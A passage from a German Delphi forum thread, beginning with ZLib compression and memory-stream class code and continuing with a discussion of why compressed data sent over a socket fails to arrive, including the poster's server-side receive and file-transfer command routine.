  FStreamRecord.AvailableIn := 0;
  try
    if FStream.Position <> FStreamPos then FStream.Position := FStreamPos;
    while deflate(FStreamRecord, 4) <> 1 do
    begin
      FStream.WriteBuffer(FBuffer, SizeOf(FBuffer) - FStreamRecord.AvailableOut);
      FStreamRecord.NextOut := FBuffer;
      FStreamRecord.AvailableOut := SizeOf(FBuffer);
    end;
    if FStreamRecord.AvailableOut < SizeOf(FBuffer) then
    begin
      FStream.WriteBuffer(FBuffer, SizeOf(FBuffer) - FStreamRecord.AvailableOut);
    end;
  finally
    deflateEnd(FStreamRecord);
  end;
  inherited Destroy;
end;

function TCompressionStream.Read(var Buffer; Count: longint): longint;
begin
end;

function TCompressionStream.Write(const Buffer; Count: longint): longint;
begin
  FStreamRecord.NextIn := @Buffer;
  FStreamRecord.AvailableIn := Count;
  if FStream.Position <> FStreamPos then FStream.Position := FStreamPos;
  while FStreamRecord.AvailableIn > 0 do
  begin
    deflate(FStreamRecord, 0);
    if FStreamRecord.AvailableOut = 0 then
    begin
      FStream.WriteBuffer(FBuffer, SizeOf(FBuffer));
      FStreamRecord.NextOut := FBuffer;
      FStreamRecord.AvailableOut := SizeOf(FBuffer);
      FStreamPos := FStream.Position;
      DoProgress;
    end;
  end;
  Result := Count;
end;

function TCompressionStream.Seek(offset: Longint; origin: Word): Longint;
begin
  if (offset = 0) and (origin = soFromCurrent) then
  begin
    Result := FStreamRecord.TotalIn;
  end;
end;

function TCompressionStream.GetCompressionRate: Single;
begin
  if FStreamRecord.TotalIn = 0 then Result := 0
  else Result := (1.0 - (FStreamRecord.TotalOut / FStreamRecord.TotalIn)) * 100.0;
end;

constructor TDecompressionStream.Create(source: TStream);
begin
  inherited Create(source);
  FStreamRecord.NextIn := FBuffer;
  FStreamRecord.AvailableIn := 0;
  InflateInit(FStreamRecord);
end;

destructor TDecompressionStream.Destroy;
begin
  inflateEnd(FStreamRecord);
  inherited Destroy;
end;

function TDecompressionStream.Read(var Buffer; Count: longint): longint;
var
  ReturnValue: longint;
begin
  FStreamRecord.NextOut := @Buffer;
  FStreamRecord.AvailableOut := Count;
  if FStream.Position <> FStreamPos then FStream.Position := FStreamPos;
  ReturnValue := 0;
  while ((FStreamRecord.AvailableOut > 0) and (ReturnValue <> 1)) do
  begin
    if FStreamRecord.AvailableIn = 0 then
    begin
      FStreamRecord.AvailableIn := FStream.Read(FBuffer, SizeOf(FBuffer));
      if FStreamRecord.AvailableIn = 0 then
      begin
        Result := Count - FStreamRecord.AvailableOut;
        Exit;
      end;
      FStreamRecord.NextIn := FBuffer;
      FStreamPos := FStream.Position;
      DoProgress;
    end;
    ReturnValue := inflate(FStreamRecord, 0);
  end;
  if ((ReturnValue = 1) and (FStreamRecord.AvailableIn > 0)) then
  begin
    FStream.Position := FStream.Position - FStreamRecord.AvailableIn;
    FStreamPos := FStream.Position;
    FStreamRecord.AvailableIn := 0;
  end;
  Result := Count - FStreamRecord.AvailableOut;
end;

function TDecompressionStream.Write(const Buffer; Count: longint): longint;
begin
end;

function TDecompressionStream.Seek(Offset: longint; Origin: Word): longint;
var
  Buffer: array [0..8191] of Char;
  Count: Integer;
begin
  if ((Offset = 0) and (Origin = soFromBeginning)) then
  begin
    inflateReset(FStreamRecord);
    FStreamRecord.NextIn := FBuffer;
    FStreamRecord.AvailableIn := 0;
    FStream.Position := 0;
    FStreamPos := 0;
  end
  else if ((Offset >= 0) and (Origin = soFromCurrent)) or (((Offset - FStreamRecord.TotalOut) > 0) and (Origin = soFromBeginning)) then
  begin
    if Origin = soFromBeginning then Dec(Offset, FStreamRecord.TotalOut);
    if Offset > 0 then
    begin
      for Count := 1 to Offset div SizeOf(Buffer) do ReadBuffer(Buffer, SizeOf(Buffer));
      ReadBuffer(Buffer, Offset mod SizeOf(Buffer));
    end;
  end
  else if (Offset = 0) and (Origin = soFromEnd) then
  begin
    while Read(Buffer, SizeOf(Buffer)) > 0 do;
  end;
  Result := FStreamRecord.TotalOut;
end;

procedure TCustomMemoryStream.SetPointer(Ptr: Pointer; Size: Longint);
begin
  FMemory := Ptr;
  FSize := Size;
end;

function TCustomMemoryStream.Read(var Buffer; Count: Longint): Longint;
begin
  if (FPosition >= 0) and (Count >= 0) then
  begin
    Result := FSize - FPosition;
    if Result > 0 then
    begin
      if Result > Count then Result := Count;
      Move(Pointer(Longint(FMemory) + FPosition)^, Buffer, Result);
      Inc(FPosition, Result);
      Exit;
    end;
  end;
  Result := 0;
end;

function TCustomMemoryStream.Seek(Offset: Longint; Origin: Word): Longint;
begin
  case Origin of
    soFromBeginning: FPosition := Offset;
    soFromCurrent: Inc(FPosition, Offset);
    soFromEnd: FPosition := FSize + Offset;
  end;
  Result := FPosition;
end;

procedure TCustomMemoryStream.SaveToStream(Stream: TStream);
begin
  if FSize <> 0 then Stream.WriteBuffer(FMemory^, FSize);
end;

procedure TCustomMemoryStream.SaveToFile(const FileName: string);
var
  Stream: TStream;
begin
  Stream := TFileStream.Create(FileName, fmCreate);
  try
    SaveToStream(Stream);
  finally
    Stream.Free;
  end;
end;

const
  MemoryDelta = $2000;

destructor TMemoryStream.Destroy;
begin
  Clear;
  inherited Destroy;
end;

procedure TMemoryStream.Clear;
begin
  SetCapacity(0);
  FSize := 0;
  FPosition := 0;
end;

procedure TMemoryStream.LoadFromStream(Stream: TStream);
var
  Count: Longint;
begin
  Stream.Position := 0;
  Count := Stream.Size;
  SetSize(Count);
  if Count <> 0 then Stream.ReadBuffer(FMemory^, Count);
end;

procedure TMemoryStream.LoadFromFile(const FileName: string);
var
  Stream: TStream;
begin
  Stream := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
  try
    LoadFromStream(Stream);
  finally
    Stream.Free;
  end;
end;

procedure TMemoryStream.SetCapacity(NewCapacity: Longint);
begin
  SetPointer(Realloc(NewCapacity), FSize);
  FCapacity := NewCapacity;
end;

procedure TMemoryStream.SetSize(NewSize: Longint);
var
  OldPosition: Longint;
begin
  OldPosition := FPosition;
  SetCapacity(NewSize);
  FSize := NewSize;
  if OldPosition > NewSize then Seek(0, soFromEnd);
end;

function TMemoryStream.Realloc(var NewCapacity: Longint): Pointer;
begin
  if (NewCapacity > 0) and (NewCapacity <> FSize) then
    NewCapacity := (NewCapacity + (MemoryDelta - 1)) and not (MemoryDelta - 1);
  Result := Memory;
  if NewCapacity <> FCapacity then
  begin
    if NewCapacity = 0 then
    begin
      GlobalFreePtr(Memory);
      Result := nil;
    end else
    begin
      if Capacity = 0 then
        Result := GlobalAllocPtr(HeapAllocFlags, NewCapacity)
      else
        Result := GlobalReallocPtr(Memory, NewCapacity, HeapAllocFlags);
    end;
  end;
end;

function TMemoryStream.Write(const Buffer; Count: Longint): Longint;
var
  Pos: Longint;
begin
  if (FPosition >= 0) and (Count >= 0) then
  begin
    Pos := FPosition + Count;
    if Pos > 0 then
    begin
      if Pos > FSize then
      begin
        if Pos > FCapacity then
          SetCapacity(Pos);
        FSize := Pos;
      end;
      System.Move(Buffer, Pointer(Longint(FMemory) + FPosition)^, Count);
      FPosition := Pos;
      Result := Count;
      Exit;
    end;
  end;
  Result := 0;
end;

end.

[Zacherl]

Zitat:

Zitat von Zodi (Beitrag 1381335)

Delphi-Quellcode:

    repeat

    Sleep(10);
    until Socket.SendBuffer(pointer(Temp)^,length(Temp)) <> -1;

:?: - Sinn dahinter?

Zeig mal deine Empfangsroutine. Denke nicht, dass es an ZLib liegt (dort sind CRC Checksums vorhanden, weshalb du eine Exception bekommst, wenn dein Chunk ungültig ist - zumindest in aktuellen Versionen).

Unsere vorherigen Fragen hast du leider auch nicht beantwortet:
- blocking vs. non-blocking?
- ...

[Zodi]

also das Blocking ist im Client der die daten verschickt auf Nonblocking := 1 gestellt.

komisch ist das es ohne komprimirung funktioniert.

und so schaut die empfangsroutine im Server aus.

Delphi-Quellcode:

procedure TClientForm.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
  Data: AnsiString;
  SocketData: TSocketData;
begin
  if Socket.Data = nil then begin
    SocketData := TSocketData.Create;
    Socket.Data := SocketData
  end;
  SocketData := TSocketData(Socket.Data);

  Data := Socket.ReceiveText;
  if Data = '' then Exit;

  SocketData.Data := SocketData.Data + Data;
  SocketData.ServerData.Wan := Socket.RemoteAddress;

  DataCheck(Socket);
end;




procedure TClientForm.DataCheck(Socket: TCustomWinSocket);
var
  Data,Command: String;
  DataSize: string;
  LengthDataSize,LengthSocketData: integer;
  SocketData: TSocketData;
  Li: TListItem;
  H: THandle;
  DL_Form: string;
  ReceiveDataProc: procedure(Socket: TCustomWinSocket; Progress,Max: int64);
begin
  if Socket = nil then exit;
  if Socket.Data = nil then exit;

  SocketData := TSocketData(Socket.Data);
  SocketData.Socket := Socket;

  if SocketData.Data = '' then exit;

  DataSize := Split(SocketData.Data,'|',1);
  LengthDataSize := Length(DataSize);
  LengthSocketData := Length(SocketData.Data) - Length(DataSize) -1;

  if SocketData.ReceiveDataProc <> nil then begin
    @ReceiveDataProc := SocketData.ReceiveDataProc;
    try
      ReceiveDataProc(Socket,LengthSocketData,strtoint(DataSize));
    except
    end;
  end;

  try
    if LengthSocketData < strtoint(DataSize) then exit;
  except
    SocketData.Data := '';
    Exit;
  end;

  Delete(SocketData.Data,1,LengthDataSize+1);

  try
  Data := Copy(SocketData.Data,1,StrToInt(DataSize));
  except
  end;

  Delete(SocketData.Data,1,Length(Data));

//-------------------------------------------------------------------------------------------------------------------------------
  Data := Decompress(SocketData,Data);   // Daten Entpacken
//-------------------------------------------------------------------------------------------------------------------------------

  Command := Split(Data,'|',1);
  Delete(Data,1,Length(Command)+1);

//<<<<<-----------------------------Command Routine--------------------------------------------->>>>>

  if Command = 'FileTransfer' then begin
     TFileTransfer(SocketData.Form).ParseData(Socket,Data);
  end;

  if Command = 'FileTransferSocket' then begin
    H := strtoint(Data);
    SocketData.Form := TFileTransfer(FindForm(H));
    if TFileTransfer(SocketData.Form).NewSocket <> nil then begin
      Socket.Close;
      Exit;
    end;
    SocketData.MainSocket := TFileTransfer(SocketData.Form).MainSocket;
    TFileTransfer(SocketData.Form).NewSocket := Socket;
    TFileTransfer(SocketData.Form).SetUpConnection(Socket);
  end;

//<<<<<-----------------------------Command Routine Ende---------------------------------------->>>>>


  if Length(SocketData.Data) > 0 then begin
    Application.ProcessMessages;
    ParseData(Socket);
  end;

end;